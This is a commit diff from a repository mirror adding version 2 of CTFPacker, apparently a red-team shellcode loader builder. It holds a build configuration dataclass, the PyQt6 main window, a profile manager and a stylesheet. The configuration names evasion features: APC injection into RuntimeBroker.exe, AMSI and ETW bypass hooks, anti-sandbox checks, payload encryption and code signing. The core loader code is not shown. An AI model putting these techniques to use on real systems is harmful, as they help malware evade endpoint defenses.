mirror of
https://github.com/mochabyte0x/CTFPacker
synced 2026-06-06 16:14:33 +00:00
CTFPacker V2
This commit is contained in:
@@ -0,0 +1,64 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
from dataclasses import dataclass, field, asdict
|
||||
from typing import Optional
|
||||
|
||||
|
||||
@dataclass
|
||||
class BuildConfig:
|
||||
"""All parameters needed for a CTFPacker build."""
|
||||
|
||||
# Core
|
||||
mode: str = "staged" # "staged" or "stageless"
|
||||
payload_path: str = "" # Path to .bin shellcode
|
||||
format: str = "EXE" # "EXE" or "DLL"
|
||||
inject_method: str = "apc" # "apc" or "copyfile2"
|
||||
target_process: str = "RuntimeBroker.exe" # APC target process
|
||||
output: str = "ctfloader" # Output base name
|
||||
|
||||
# Options
|
||||
encrypt: bool = False
|
||||
scramble: bool = False
|
||||
entropy_reduction: bool = False
|
||||
sandbox_checks: bool = False # pre-flight uptime/RAM/CPU checks
|
||||
sandbox_min_uptime_s: int = 300 # minimum system uptime in seconds
|
||||
sandbox_min_ram_gb: int = 4 # minimum physical RAM in GB
|
||||
sandbox_min_cpu: int = 2 # minimum logical CPU count
|
||||
|
||||
# Trampoline hooks (TrampoLatté)
|
||||
bypass_amsi: bool = False # hook AmsiScanBuffer -> AMSI_RESULT_CLEAN
|
||||
bypass_etw: bool = False # hook EtwpEventWriteFull -> no-op RET
|
||||
|
||||
# Debug
|
||||
debug_mode: bool = False # enable OutputDebugString prints in trampoline.c
|
||||
|
||||
# Staged-only: network
|
||||
ip_address: str = ""
|
||||
port: int = 8080
|
||||
path: str = ""
|
||||
https: bool = False
|
||||
user_agent: str = (
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
|
||||
"AppleWebKit/537.36 (KHTML, like Gecko) "
|
||||
"Chrome/120.0.0.0 Safari/537.36"
|
||||
)
|
||||
|
||||
# Code signing
|
||||
pfx: Optional[str] = None
|
||||
pfx_password: Optional[str] = None
|
||||
sign_description: str = "" # authenticode program name (-n in osslsigncode)
|
||||
sign_url: str = "" # authenticode program URL (-i in osslsigncode)
|
||||
|
||||
def to_dict(self) -> dict:
|
||||
return asdict(self)
|
||||
|
||||
def to_safe_dict(self) -> dict:
|
||||
"""Like to_dict but strips sensitive fields that should never be persisted."""
|
||||
d = asdict(self)
|
||||
d.pop("pfx_password", None)
|
||||
return d
|
||||
|
||||
@classmethod
|
||||
def from_dict(cls, d: dict) -> "BuildConfig":
|
||||
# Filter out unknown keys for forward-compat
|
||||
valid = {f.name for f in cls.__dataclass_fields__.values()}
|
||||
return cls(**{k: v for k, v in d.items() if k in valid})
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,335 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Main application window for CTFPacker GUI."""
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import json
|
||||
import subprocess as _sp
|
||||
import shutil
|
||||
|
||||
from PyQt6.QtWidgets import (
|
||||
QApplication, QMainWindow, QTabWidget, QSplitter, QWidget,
|
||||
QVBoxLayout, QHBoxLayout, QLabel, QStatusBar, QCheckBox
|
||||
)
|
||||
from PyQt6.QtCore import Qt, QTimer, QByteArray, QRectF
|
||||
from PyQt6.QtGui import QKeySequence, QShortcut, QPixmap, QIcon, QPainter
|
||||
from PyQt6.QtSvg import QSvgRenderer
|
||||
|
||||
from gui.theme import (
|
||||
STYLESHEET, ACCENT, ACCENT_DIM, ACCENT_BRIGHT,
|
||||
BG_BASE, BG_SURFACE, BG_ELEVATED, BG_HEADER,
|
||||
TEXT, TEXT_DIM, TEXT_MUTED, BORDER, GREEN, RED, ORANGE,
|
||||
# Nord compat aliases still used by status label colour strings
|
||||
FROST1, NORD3, NORD4, NORD0, NORD1,
|
||||
)
|
||||
from gui.widgets.staged_tab import StagedTab
|
||||
from gui.widgets.stageless_tab import StagelessTab
|
||||
from gui.widgets.log_panel import LogPanel
|
||||
from gui.workers import BuildWorker
|
||||
from gui.history import HistoryManager
|
||||
|
||||
GEOMETRY_PATH = os.path.expanduser("~/.ctfpacker_geometry.json")
|
||||
|
||||
# Locate assets/: 1) gui/assets/ (installed via pipx), 2) Linux/assets/, 3) repo root (dev)
|
||||
_HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
_ASSET_CANDIDATES = [
|
||||
os.path.join(_HERE, "assets"), # installed: inside gui package
|
||||
os.path.normpath(os.path.join(_HERE, "..", "assets")), # Linux/assets/
|
||||
os.path.normpath(os.path.join(_HERE, "..", "..", "assets")), # repo root (dev)
|
||||
]
|
||||
ASSETS_DIR = next((d for d in _ASSET_CANDIDATES if os.path.isdir(d)),
|
||||
_ASSET_CANDIDATES[0])
|
||||
LOGO_ICON_PATH = os.path.join(ASSETS_DIR, "Logo.png")
|
||||
FULL_LOGO_PATH = os.path.join(ASSETS_DIR, "Full-Logo.svg")
|
||||
FULL_LOGO_RED = os.path.join(ASSETS_DIR, "Full-Logo-red-black.svg")
|
||||
|
||||
|
||||
def _render_full_logo(height: int = 52) -> QPixmap:
|
||||
"""Render Full-Logo-red-black.svg cropped to content.
|
||||
|
||||
Red gradient wordmark + black icon. Black icon fill is recoloured
|
||||
to white so it shows on the dark header; the red gradient text is
|
||||
kept as-is.
|
||||
"""
|
||||
src = FULL_LOGO_RED if os.path.isfile(FULL_LOGO_RED) else FULL_LOGO_PATH
|
||||
if not os.path.isfile(src):
|
||||
return QPixmap()
|
||||
with open(src, "r") as fh:
|
||||
svg = fh.read()
|
||||
svg = svg.replace('viewBox="0 0 1024 768"', 'viewBox="40 228 858 310"')
|
||||
svg = svg.replace("fill: rgb(0,0,0)", "fill: rgb(255,255,255)")
|
||||
ratio = 858 / 310
|
||||
w = int(height * ratio)
|
||||
renderer = QSvgRenderer(QByteArray(svg.encode("utf-8")))
|
||||
pix = QPixmap(w, height)
|
||||
pix.fill(Qt.GlobalColor.transparent)
|
||||
painter = QPainter(pix)
|
||||
painter.setRenderHint(QPainter.RenderHint.Antialiasing)
|
||||
renderer.render(painter, QRectF(0, 0, w, height))
|
||||
painter.end()
|
||||
return pix
|
||||
|
||||
|
||||
|
||||
|
||||
class MainWindow(QMainWindow):
|
||||
"""CTFPacker v2.0 main window."""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.setWindowTitle("CTFPacker")
|
||||
self.setMinimumSize(960, 720)
|
||||
|
||||
# Window icon
|
||||
if os.path.isfile(LOGO_ICON_PATH):
|
||||
self.setWindowIcon(QIcon(LOGO_ICON_PATH))
|
||||
|
||||
self._worker = None
|
||||
self._history = HistoryManager()
|
||||
self._build_start_time = 0
|
||||
self._elapsed_timer = QTimer(self)
|
||||
self._elapsed_timer.setInterval(1000)
|
||||
self._elapsed_timer.timeout.connect(self._update_elapsed)
|
||||
self._splitter = None
|
||||
|
||||
self._setup_ui()
|
||||
self._setup_statusbar()
|
||||
self._setup_shortcuts()
|
||||
self._restore_geometry()
|
||||
|
||||
def _setup_ui(self):
|
||||
central = QWidget()
|
||||
main_layout = QVBoxLayout(central)
|
||||
main_layout.setContentsMargins(0, 0, 0, 0)
|
||||
main_layout.setSpacing(0)
|
||||
|
||||
# -- Header banner --
|
||||
header = QWidget()
|
||||
header.setFixedHeight(64)
|
||||
header.setStyleSheet(
|
||||
f"background-color: {BG_HEADER};"
|
||||
f"border-bottom: 1px solid {BORDER};"
|
||||
)
|
||||
header_layout = QHBoxLayout(header)
|
||||
header_layout.setContentsMargins(16, 0, 20, 0)
|
||||
header_layout.setSpacing(0)
|
||||
|
||||
# Full-Logo SVG: icon + wordmark rendered as a single pixmap
|
||||
logo_label = QLabel()
|
||||
logo_pix = _render_full_logo(height=48)
|
||||
if not logo_pix.isNull():
|
||||
logo_label.setPixmap(logo_pix)
|
||||
logo_label.setFixedSize(logo_pix.size())
|
||||
else:
|
||||
# Fallback: plain text if assets not found
|
||||
logo_label.setText("CTFPACKER")
|
||||
logo_label.setObjectName("headerTitle")
|
||||
logo_label.setStyleSheet("background: transparent;")
|
||||
header_layout.addWidget(logo_label)
|
||||
|
||||
header_layout.addStretch()
|
||||
|
||||
badge = QLabel("v2.0")
|
||||
badge.setObjectName("headerBadge")
|
||||
header_layout.addWidget(badge)
|
||||
|
||||
main_layout.addWidget(header)
|
||||
|
||||
# -- Splitter: tabs + log --
|
||||
self._splitter = QSplitter(Qt.Orientation.Vertical)
|
||||
|
||||
self._tabs = QTabWidget()
|
||||
self._staged_tab = StagedTab(self._history)
|
||||
self._stageless_tab = StagelessTab(self._history)
|
||||
self._tabs.addTab(self._staged_tab, "Staged")
|
||||
self._tabs.addTab(self._stageless_tab, "Stageless")
|
||||
|
||||
self._log_panel = LogPanel()
|
||||
|
||||
self._splitter.addWidget(self._tabs)
|
||||
self._splitter.addWidget(self._log_panel)
|
||||
self._splitter.setStretchFactor(0, 3)
|
||||
self._splitter.setStretchFactor(1, 1)
|
||||
|
||||
main_layout.addWidget(self._splitter, stretch=1)
|
||||
self.setCentralWidget(central)
|
||||
|
||||
# Connect signals
|
||||
self._staged_tab.build_requested.connect(self._start_build)
|
||||
self._stageless_tab.build_requested.connect(self._start_build)
|
||||
self._staged_tab.profile_imported.connect(self._on_profile_imported)
|
||||
self._stageless_tab.profile_imported.connect(self._on_profile_imported)
|
||||
|
||||
def _setup_statusbar(self):
|
||||
self._statusbar = QStatusBar()
|
||||
self.setStatusBar(self._statusbar)
|
||||
|
||||
# State dot — 8 px circle, colour reflects build state
|
||||
self._dot_label = QLabel("●")
|
||||
self._dot_label.setToolTip("Build state")
|
||||
self._dot_label.setStyleSheet(
|
||||
f"color: {TEXT_MUTED}; font-size: 8px; padding: 0 4px 0 6px;"
|
||||
)
|
||||
self._statusbar.addWidget(self._dot_label)
|
||||
|
||||
self._status_label = QLabel("Ready")
|
||||
self._elapsed_label = QLabel("")
|
||||
|
||||
self._notify_check = QCheckBox("Notifications")
|
||||
self._notify_check.setChecked(True)
|
||||
self._notify_check.setToolTip("Show desktop notifications when builds finish")
|
||||
|
||||
self._statusbar.addWidget(self._status_label, stretch=1)
|
||||
self._statusbar.addPermanentWidget(self._elapsed_label)
|
||||
self._statusbar.addPermanentWidget(self._notify_check)
|
||||
|
||||
def _setup_shortcuts(self):
|
||||
QShortcut(QKeySequence("Ctrl+L"), self, self._log_panel.clear)
|
||||
|
||||
def _on_profile_imported(self):
|
||||
"""Refresh both tabs' profile combos after any import."""
|
||||
self._staged_tab._refresh_profiles()
|
||||
self._stageless_tab._refresh_profiles()
|
||||
|
||||
def _start_build(self, config):
|
||||
if self._worker and self._worker.isRunning():
|
||||
return
|
||||
|
||||
self._log_panel.clear()
|
||||
|
||||
# Log build summary
|
||||
self._log_panel.append_log("--- Build Configuration ---", "info")
|
||||
self._log_panel.append_log(f" Mode: {config.mode}", "info")
|
||||
self._log_panel.append_log(f" Format: {config.format}", "info")
|
||||
self._log_panel.append_log(f" Injection: {config.inject_method}", "info")
|
||||
if config.inject_method == "apc":
|
||||
self._log_panel.append_log(f" Target: {config.target_process}", "info")
|
||||
self._log_panel.append_log(f" Encrypt: {'Yes' if config.encrypt else 'No'}", "info")
|
||||
self._log_panel.append_log(f" Scramble: {'Yes' if config.scramble else 'No'}", "info")
|
||||
self._log_panel.append_log(f" Output: {config.output or 'ctfloader'}", "info")
|
||||
if config.mode == "staged":
|
||||
proto = "https" if config.https else "http"
|
||||
self._log_panel.append_log(
|
||||
f" Download: {proto}://{config.ip_address}:{config.port}{config.path}", "info")
|
||||
self._log_panel.append_log("----------------------------", "info")
|
||||
|
||||
self._log_panel.set_building(True)
|
||||
self._set_build_enabled(False)
|
||||
|
||||
self._dot_label.setStyleSheet(f"color: {ORANGE}; font-size: 8px; padding: 0 4px 0 6px;")
|
||||
self._status_label.setText("Building...")
|
||||
self._status_label.setStyleSheet(f"color: {ACCENT};")
|
||||
self._build_start_time = time.time()
|
||||
self._update_elapsed()
|
||||
self._elapsed_timer.start()
|
||||
|
||||
self._last_config = config
|
||||
self._worker = BuildWorker(config)
|
||||
self._worker.log_message.connect(self._log_panel.append_log)
|
||||
self._worker.build_finished.connect(self._on_build_finished)
|
||||
self._worker.start()
|
||||
|
||||
def _on_build_finished(self, success: bool):
|
||||
self._elapsed_timer.stop()
|
||||
self._log_panel.set_building(False)
|
||||
self._set_build_enabled(True)
|
||||
|
||||
elapsed = time.time() - self._build_start_time
|
||||
elapsed_str = f"{elapsed:.1f}s"
|
||||
|
||||
if success:
|
||||
# Resolve output path for display
|
||||
cfg = self._last_config
|
||||
base = cfg.output or "ctfloader"
|
||||
root, _ = os.path.splitext(base)
|
||||
ext = ".dll" if cfg.format == "DLL" else ".exe"
|
||||
out_file = os.path.abspath(root + ext)
|
||||
output_dir = os.path.dirname(out_file)
|
||||
|
||||
self._log_panel.append_log("Build completed successfully!", "success")
|
||||
self._log_panel.append_log(f"Output: {out_file}", "success")
|
||||
self._dot_label.setStyleSheet(f"color: {GREEN}; font-size: 8px; padding: 0 4px 0 6px;")
|
||||
self._status_label.setText(f"\u2714 Build succeeded ({elapsed_str})")
|
||||
self._status_label.setStyleSheet(f"color: {GREEN};")
|
||||
self._log_panel.show_open_folder(output_dir)
|
||||
else:
|
||||
self._log_panel.append_log("Build failed.", "error")
|
||||
self._dot_label.setStyleSheet(f"color: {RED}; font-size: 8px; padding: 0 4px 0 6px;")
|
||||
self._status_label.setText(f"\u2717 Build failed ({elapsed_str})")
|
||||
self._status_label.setStyleSheet(f"color: {RED};")
|
||||
|
||||
self._elapsed_label.setText("")
|
||||
self._send_notification(success, elapsed_str)
|
||||
|
||||
def _send_notification(self, success: bool, elapsed_str: str):
|
||||
"""Send a desktop notification when build finishes."""
|
||||
if not self._notify_check.isChecked():
|
||||
return
|
||||
|
||||
if success:
|
||||
title = "CTFPacker - Build Succeeded"
|
||||
body = f"Build completed in {elapsed_str}"
|
||||
else:
|
||||
title = "CTFPacker - Build Failed"
|
||||
body = f"Build failed after {elapsed_str}"
|
||||
|
||||
try:
|
||||
if sys.platform == "linux" and shutil.which("notify-send"):
|
||||
icon = "dialog-information" if success else "dialog-error"
|
||||
_sp.Popen(["notify-send", "-i", icon, title, body],
|
||||
stdout=_sp.DEVNULL, stderr=_sp.DEVNULL)
|
||||
elif sys.platform == "darwin":
|
||||
_sp.Popen([
|
||||
"osascript", "-e",
|
||||
f'display notification "{body}" with title "{title}"'
|
||||
], stdout=_sp.DEVNULL, stderr=_sp.DEVNULL)
|
||||
except OSError:
|
||||
pass # Notification is best-effort
|
||||
|
||||
def _update_elapsed(self):
|
||||
elapsed = time.time() - self._build_start_time
|
||||
self._elapsed_label.setText(f"Elapsed: {elapsed:.0f}s")
|
||||
|
||||
def _set_build_enabled(self, enabled: bool):
|
||||
self._staged_tab.set_build_enabled(enabled)
|
||||
self._stageless_tab.set_build_enabled(enabled)
|
||||
|
||||
# -- Window geometry persistence --
|
||||
|
||||
def _save_geometry(self):
|
||||
data = {
|
||||
"window_geometry": self.saveGeometry().toBase64().data().decode(),
|
||||
"splitter_state": self._splitter.saveState().toBase64().data().decode()
|
||||
if self._splitter else None,
|
||||
"notifications": self._notify_check.isChecked(),
|
||||
}
|
||||
try:
|
||||
with open(GEOMETRY_PATH, "w") as f:
|
||||
json.dump(data, f)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def _restore_geometry(self):
|
||||
try:
|
||||
with open(GEOMETRY_PATH, "r") as f:
|
||||
data = json.load(f)
|
||||
if "window_geometry" in data:
|
||||
self.restoreGeometry(QByteArray.fromBase64(data["window_geometry"].encode()))
|
||||
if "splitter_state" in data and data["splitter_state"] and self._splitter:
|
||||
self._splitter.restoreState(QByteArray.fromBase64(data["splitter_state"].encode()))
|
||||
if "notifications" in data:
|
||||
self._notify_check.setChecked(data["notifications"])
|
||||
except (OSError, json.JSONDecodeError, KeyError):
|
||||
pass
|
||||
|
||||
def closeEvent(self, event):
|
||||
self._save_geometry()
|
||||
super().closeEvent(event)
|
||||
|
||||
|
||||
def run_gui():
|
||||
app = QApplication(sys.argv)
|
||||
app.setStyleSheet(STYLESHEET)
|
||||
window = MainWindow()
|
||||
window.show()
|
||||
sys.exit(app.exec())
|
||||
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 149 KiB |
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 130 KiB |
@@ -0,0 +1,92 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Profile save/load for build configurations."""
|
||||
import json
|
||||
import os
|
||||
from typing import Optional
|
||||
|
||||
from core.build_config import BuildConfig
|
||||
|
||||
HISTORY_PATH = os.path.expanduser("~/.ctfpacker_history.json")
|
||||
|
||||
|
||||
class HistoryManager:
|
||||
"""Manages saved build profiles in a JSON file."""
|
||||
|
||||
def __init__(self, path: str = HISTORY_PATH):
|
||||
self._path = path
|
||||
self._data = self._load_file()
|
||||
|
||||
def _load_file(self) -> dict:
|
||||
if os.path.exists(self._path):
|
||||
try:
|
||||
with open(self._path, "r") as f:
|
||||
return json.load(f)
|
||||
except (json.JSONDecodeError, IOError):
|
||||
return {}
|
||||
return {}
|
||||
|
||||
def _save_file(self):
|
||||
with open(self._path, "w") as f:
|
||||
json.dump(self._data, f, indent=2)
|
||||
os.chmod(self._path, 0o600)
|
||||
|
||||
def list_profiles(self, mode: str) -> list:
|
||||
"""Return profile names for the given mode."""
|
||||
return list(self._data.get(mode, {}).keys())
|
||||
|
||||
def load_profile(self, mode: str, name: str) -> Optional[BuildConfig]:
|
||||
"""Load a named profile, or None if not found."""
|
||||
profiles = self._data.get(mode, {})
|
||||
if name in profiles:
|
||||
return BuildConfig.from_dict(profiles[name])
|
||||
return None
|
||||
|
||||
def save_profile(self, mode: str, name: str, config: BuildConfig):
|
||||
"""Save a profile under the given mode and name. PFX password is never persisted."""
|
||||
if mode not in self._data:
|
||||
self._data[mode] = {}
|
||||
self._data[mode][name] = config.to_safe_dict()
|
||||
self._save_file()
|
||||
|
||||
def delete_profile(self, mode: str, name: str):
|
||||
"""Delete a profile."""
|
||||
if mode in self._data and name in self._data[mode]:
|
||||
del self._data[mode][name]
|
||||
self._save_file()
|
||||
|
||||
# ── Import / Export ───────────────────────────────────────────────────
|
||||
|
||||
SCHEMA_VERSION = 1
|
||||
|
||||
def export_profile(self, mode: str, name: str) -> dict:
|
||||
"""Return a portable dict for saving as a .ctfp file."""
|
||||
profiles = self._data.get(mode, {})
|
||||
if name not in profiles:
|
||||
raise KeyError(f"Profile '{name}' not found in mode '{mode}'")
|
||||
return {
|
||||
"ctfpacker_profile": self.SCHEMA_VERSION,
|
||||
"mode": mode,
|
||||
"name": name,
|
||||
"config": profiles[name],
|
||||
}
|
||||
|
||||
def import_profile(self, data: dict) -> tuple:
|
||||
"""Validate and merge a .ctfp dict. Returns (mode, name).
|
||||
Raises ValueError on bad schema. Caller must handle overwrite checks.
|
||||
"""
|
||||
if data.get("ctfpacker_profile") != self.SCHEMA_VERSION:
|
||||
raise ValueError("Invalid or unsupported .ctfp file format.")
|
||||
mode = data.get("mode")
|
||||
name = data.get("name", "").strip()
|
||||
config = data.get("config")
|
||||
if not isinstance(mode, str) or mode not in ("staged", "stageless"):
|
||||
raise ValueError(f"Unknown mode '{mode}' in profile file.")
|
||||
if not name:
|
||||
raise ValueError("Profile file has no valid name.")
|
||||
if not isinstance(config, dict):
|
||||
raise ValueError("Profile file has no valid config block.")
|
||||
if mode not in self._data:
|
||||
self._data[mode] = {}
|
||||
self._data[mode][name] = config
|
||||
self._save_file()
|
||||
return mode, name
|
||||
@@ -0,0 +1,562 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""CTFPacker GUI theme — Havoc-inspired."""
|
||||
|
||||
# ── Colour Palette ────────────────────────────────────────────────────────────
|
||||
# Background hierarchy (very dark blue-black, like Havoc C2)
|
||||
BG_BASE = "#12141a" # root background
|
||||
BG_SURFACE = "#1a1d24" # panels / group boxes
|
||||
BG_ELEVATED = "#22252e" # inputs, combos, toolbar areas
|
||||
BG_HEADER = "#0d0f13" # top header strip
|
||||
BG_CRUST = "#0a0c10" # log panel background
|
||||
|
||||
# Borders
|
||||
BORDER = "#2e3240" # default border
|
||||
BORDER_SUB = "#1e2029" # subtle separator
|
||||
|
||||
# Text
|
||||
TEXT = "#c9d1d9" # primary
|
||||
TEXT_DIM = "#7d8590" # secondary / placeholder
|
||||
TEXT_MUTED = "#3d444d" # disabled / timestamps
|
||||
|
||||
# Accent — crimson red (matches logo)
|
||||
ACCENT = "#e83535" # primary accent
|
||||
ACCENT_BRIGHT = "#f55050" # hover highlight
|
||||
ACCENT_DIM = "#9e1f1f" # pressed / dim
|
||||
|
||||
# Status colours
|
||||
GREEN = "#3fb950" # success
|
||||
RED = "#f0622f" # error (orange-red — distinct from accent)
|
||||
YELLOW = "#d29922" # warning
|
||||
ORANGE = "#db6d28" # info-alt
|
||||
|
||||
# ── Aliases (backwards-compat with widgets that import Nord names) ─────────────
|
||||
NORD0 = BG_BASE
|
||||
NORD1 = BG_SURFACE
|
||||
NORD2 = BG_ELEVATED
|
||||
NORD3 = TEXT_MUTED
|
||||
NORD4 = TEXT
|
||||
NORD5 = TEXT
|
||||
NORD6 = TEXT
|
||||
FROST0 = ACCENT_DIM
|
||||
FROST1 = ACCENT
|
||||
FROST2 = ACCENT
|
||||
FROST3 = ACCENT_DIM
|
||||
PURPLE = "#bc8cff"
|
||||
BASE = BG_BASE
|
||||
MANTLE = BG_HEADER
|
||||
CRUST = BG_CRUST
|
||||
BLUE = ACCENT
|
||||
|
||||
STYLESHEET = f"""
|
||||
/* ── Root ──────────────────────────────────────────────────────────────── */
|
||||
QMainWindow, QWidget {{
|
||||
background-color: {BG_BASE};
|
||||
color: {TEXT};
|
||||
font-family: "Inter", "Segoe UI", "Ubuntu", sans-serif;
|
||||
font-size: 13px;
|
||||
}}
|
||||
|
||||
/* ── Tabs ───────────────────────────────────────────────────────────────── */
|
||||
QTabWidget::pane {{
|
||||
border: none;
|
||||
border-top: 2px solid {BORDER};
|
||||
background-color: {BG_BASE};
|
||||
}}
|
||||
|
||||
QTabBar {{
|
||||
background-color: {BG_HEADER};
|
||||
}}
|
||||
|
||||
QTabBar::tab {{
|
||||
background-color: transparent;
|
||||
color: {TEXT_DIM};
|
||||
padding: 9px 24px;
|
||||
border: none;
|
||||
border-bottom: 2px solid transparent;
|
||||
margin-right: 0px;
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.5px;
|
||||
text-transform: uppercase;
|
||||
font-size: 11px;
|
||||
}}
|
||||
|
||||
QTabBar::tab:selected {{
|
||||
color: {ACCENT};
|
||||
border-bottom: 2px solid {ACCENT};
|
||||
background-color: transparent;
|
||||
}}
|
||||
|
||||
QTabBar::tab:hover:!selected {{
|
||||
color: {TEXT};
|
||||
background-color: {BG_ELEVATED};
|
||||
}}
|
||||
|
||||
/* ── Group Boxes ─────────────────────────────────────────────────────────── */
|
||||
QGroupBox {{
|
||||
border: 1px solid {BORDER};
|
||||
border-left: 3px solid {ACCENT_DIM};
|
||||
border-radius: 2px;
|
||||
margin-top: 14px;
|
||||
padding-top: 14px;
|
||||
background-color: {BG_SURFACE};
|
||||
font-weight: 700;
|
||||
font-size: 11px;
|
||||
letter-spacing: 0.8px;
|
||||
text-transform: uppercase;
|
||||
color: {TEXT_DIM};
|
||||
}}
|
||||
|
||||
QGroupBox::title {{
|
||||
subcontrol-origin: margin;
|
||||
left: 10px;
|
||||
padding: 0 6px;
|
||||
background-color: {BG_SURFACE};
|
||||
color: {ACCENT};
|
||||
}}
|
||||
|
||||
/* ── Inputs ──────────────────────────────────────────────────────────────── */
|
||||
QLineEdit, QSpinBox {{
|
||||
background-color: {BG_ELEVATED};
|
||||
color: {TEXT};
|
||||
border: 1px solid {BORDER};
|
||||
border-radius: 2px;
|
||||
padding: 6px 10px;
|
||||
selection-background-color: {ACCENT_DIM};
|
||||
}}
|
||||
|
||||
QLineEdit:focus, QSpinBox:focus {{
|
||||
border-color: {ACCENT};
|
||||
background-color: {BG_ELEVATED};
|
||||
outline: none;
|
||||
}}
|
||||
|
||||
QLineEdit::placeholder {{
|
||||
color: {TEXT_MUTED};
|
||||
}}
|
||||
|
||||
QLineEdit:disabled, QSpinBox:disabled {{
|
||||
background-color: {BG_SURFACE};
|
||||
color: {TEXT_MUTED};
|
||||
border-color: {BORDER_SUB};
|
||||
}}
|
||||
|
||||
QLineEdit[validationError="true"] {{
|
||||
border: 1px solid {RED};
|
||||
background-color: #200c0b;
|
||||
}}
|
||||
|
||||
/* ── SpinBox buttons ─────────────────────────────────────────────────────── */
|
||||
QSpinBox::up-button, QSpinBox::down-button {{
|
||||
background-color: {BG_ELEVATED};
|
||||
border: none;
|
||||
width: 18px;
|
||||
}}
|
||||
|
||||
QSpinBox::up-button:hover, QSpinBox::down-button:hover {{
|
||||
background-color: {BORDER};
|
||||
}}
|
||||
|
||||
/* ── ComboBox ────────────────────────────────────────────────────────────── */
|
||||
QComboBox {{
|
||||
background-color: {BG_ELEVATED};
|
||||
color: {TEXT};
|
||||
border: 1px solid {BORDER};
|
||||
border-radius: 2px;
|
||||
padding: 6px 10px;
|
||||
min-width: 110px;
|
||||
}}
|
||||
|
||||
QComboBox:focus {{
|
||||
border-color: {ACCENT};
|
||||
}}
|
||||
|
||||
QComboBox:disabled {{
|
||||
background-color: {BG_SURFACE};
|
||||
color: {TEXT_MUTED};
|
||||
border-color: {BORDER_SUB};
|
||||
}}
|
||||
|
||||
QComboBox::drop-down {{
|
||||
border: none;
|
||||
width: 22px;
|
||||
background-color: transparent;
|
||||
}}
|
||||
|
||||
QComboBox::down-arrow {{
|
||||
image: none;
|
||||
border-left: 4px solid transparent;
|
||||
border-right: 4px solid transparent;
|
||||
border-top: 5px solid {TEXT_DIM};
|
||||
margin-right: 6px;
|
||||
}}
|
||||
|
||||
QComboBox QAbstractItemView {{
|
||||
background-color: {BG_ELEVATED};
|
||||
color: {TEXT};
|
||||
border: 1px solid {BORDER};
|
||||
border-radius: 0px;
|
||||
selection-background-color: {ACCENT_DIM};
|
||||
outline: none;
|
||||
}}
|
||||
|
||||
/* ── Buttons ─────────────────────────────────────────────────────────────── */
|
||||
QPushButton {{
|
||||
background-color: {BG_ELEVATED};
|
||||
color: {TEXT_DIM};
|
||||
border: 1px solid {BORDER};
|
||||
border-radius: 2px;
|
||||
padding: 6px 16px;
|
||||
font-weight: 600;
|
||||
}}
|
||||
|
||||
QPushButton:hover {{
|
||||
background-color: {BORDER};
|
||||
color: {TEXT};
|
||||
border-color: {ACCENT_DIM};
|
||||
}}
|
||||
|
||||
QPushButton:pressed {{
|
||||
background-color: {ACCENT_DIM};
|
||||
color: {TEXT};
|
||||
}}
|
||||
|
||||
QPushButton:disabled {{
|
||||
background-color: {BG_SURFACE};
|
||||
color: {TEXT_MUTED};
|
||||
border-color: {BORDER_SUB};
|
||||
}}
|
||||
|
||||
/* BUILD button */
|
||||
QPushButton#buildButton {{
|
||||
background-color: {ACCENT};
|
||||
color: {BG_BASE};
|
||||
border: none;
|
||||
padding: 11px 32px;
|
||||
font-size: 13px;
|
||||
font-weight: 700;
|
||||
border-radius: 2px;
|
||||
letter-spacing: 1.5px;
|
||||
text-transform: uppercase;
|
||||
}}
|
||||
|
||||
QPushButton#buildButton:hover {{
|
||||
background-color: {ACCENT_BRIGHT};
|
||||
}}
|
||||
|
||||
QPushButton#buildButton:pressed {{
|
||||
background-color: {ACCENT_DIM};
|
||||
color: {TEXT};
|
||||
}}
|
||||
|
||||
QPushButton#buildButton:disabled {{
|
||||
background-color: {BG_ELEVATED};
|
||||
color: {TEXT_MUTED};
|
||||
border: 1px solid {BORDER_SUB};
|
||||
}}
|
||||
|
||||
/* Browse button */
|
||||
QPushButton#browseButton {{
|
||||
background-color: transparent;
|
||||
color: {ACCENT};
|
||||
border: 1px solid {ACCENT_DIM};
|
||||
padding: 6px 12px;
|
||||
border-radius: 2px;
|
||||
font-weight: 600;
|
||||
}}
|
||||
|
||||
QPushButton#browseButton:hover {{
|
||||
background-color: {ACCENT_DIM};
|
||||
color: {TEXT};
|
||||
border-color: {ACCENT};
|
||||
}}
|
||||
|
||||
/* Delete button */
|
||||
QPushButton#deleteButton {{
|
||||
background-color: transparent;
|
||||
color: {RED};
|
||||
border: 1px solid #3d1a1a;
|
||||
padding: 6px 12px;
|
||||
border-radius: 2px;
|
||||
font-weight: 600;
|
||||
}}
|
||||
|
||||
QPushButton#deleteButton:hover {{
|
||||
background-color: #2d1010;
|
||||
border-color: {RED};
|
||||
}}
|
||||
|
||||
/* ── CheckBox ────────────────────────────────────────────────────────────── */
|
||||
QCheckBox {{
|
||||
color: {TEXT_DIM};
|
||||
spacing: 8px;
|
||||
font-size: 12px;
|
||||
}}
|
||||
|
||||
QCheckBox:hover {{
|
||||
color: {TEXT};
|
||||
}}
|
||||
|
||||
QCheckBox::indicator {{
|
||||
width: 15px;
|
||||
height: 15px;
|
||||
border-radius: 2px;
|
||||
border: 1px solid {BORDER};
|
||||
background-color: {BG_ELEVATED};
|
||||
}}
|
||||
|
||||
QCheckBox::indicator:checked {{
|
||||
background-color: {ACCENT};
|
||||
border-color: {ACCENT};
|
||||
}}
|
||||
|
||||
QCheckBox::indicator:disabled {{
|
||||
background-color: {BG_SURFACE};
|
||||
border-color: {BORDER_SUB};
|
||||
}}
|
||||
|
||||
/* ── Scroll area ─────────────────────────────────────────────────────────── */
|
||||
QScrollArea {{
|
||||
border: none;
|
||||
background-color: {BG_BASE};
|
||||
}}
|
||||
|
||||
QScrollBar:vertical {{
|
||||
background-color: {BG_BASE};
|
||||
width: 8px;
|
||||
border: none;
|
||||
